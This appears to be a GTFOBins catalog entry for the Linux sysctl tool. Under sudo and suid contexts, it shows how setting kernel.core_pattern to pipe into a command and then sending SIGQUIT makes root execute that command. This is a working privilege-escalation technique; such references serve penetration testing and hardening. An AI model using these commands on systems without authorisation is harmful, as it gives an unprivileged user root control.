Catalog GTFOBins

GTFO · Tool

sysctl

5 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ```

sysctl 'kernel.core_pattern=|/path/to/command'
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux

The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ```

sysctl 'kernel.core_pattern=|/path/to/command'
Context
suid
Native
command
MITRE
T1059